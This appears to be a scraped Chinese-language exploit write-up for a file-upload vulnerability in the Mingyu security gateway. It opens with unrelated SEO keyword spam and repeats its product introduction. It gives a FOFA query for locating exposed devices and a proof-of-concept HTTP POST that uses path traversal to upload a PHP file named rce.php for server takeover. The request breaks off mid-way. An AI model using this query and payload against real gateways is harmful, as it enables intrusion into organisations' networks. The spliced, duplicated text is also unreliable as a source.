一个网站建设域名的构思,济南推广营销公司,做淘客网站用什么服务器好,北京市住房和城乡建设部网站首页0x01 产品简介
明御安全网关秉持安全可视、简单有效的理念，以资产为视角，构建全流程防御的下一代安全防护体系，并融合传统防火墙、入侵检测、入侵防御系统、防病毒网关、上网行为管控、VPN网关、威胁情报等安全模块于一体的智慧化安全网关。
0x02 漏洞概述
明御安全网关在…0x01 产品简介
明御安全网关秉持安全可视、简单有效的理念，以资产为视角，构建全流程防御的下一代安全防护体系，并融合传统防火墙、入侵检测、入侵防御系统、防病毒网关、上网行为管控、VPN网关、威胁情报等安全模块于一体的智慧化安全网关。
0x02 漏洞概述
明御安全网关在aaa_local_web_preview文件处存在文件上传漏洞，攻击者可以利用该漏洞上传恶意文件进而进行敏感操作获取服务器权限。
0x03 复现环境
FOFA：title="明御安全网关" 0x04 漏洞复现
PoC
POST /webui/?g=aaa_local_web_previewname=123read=0suffix=/../../../rce.php HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=849978f98abe41119122148e4aa65b1a
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15--849978f98abe41119122148e4aa65b1a
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php
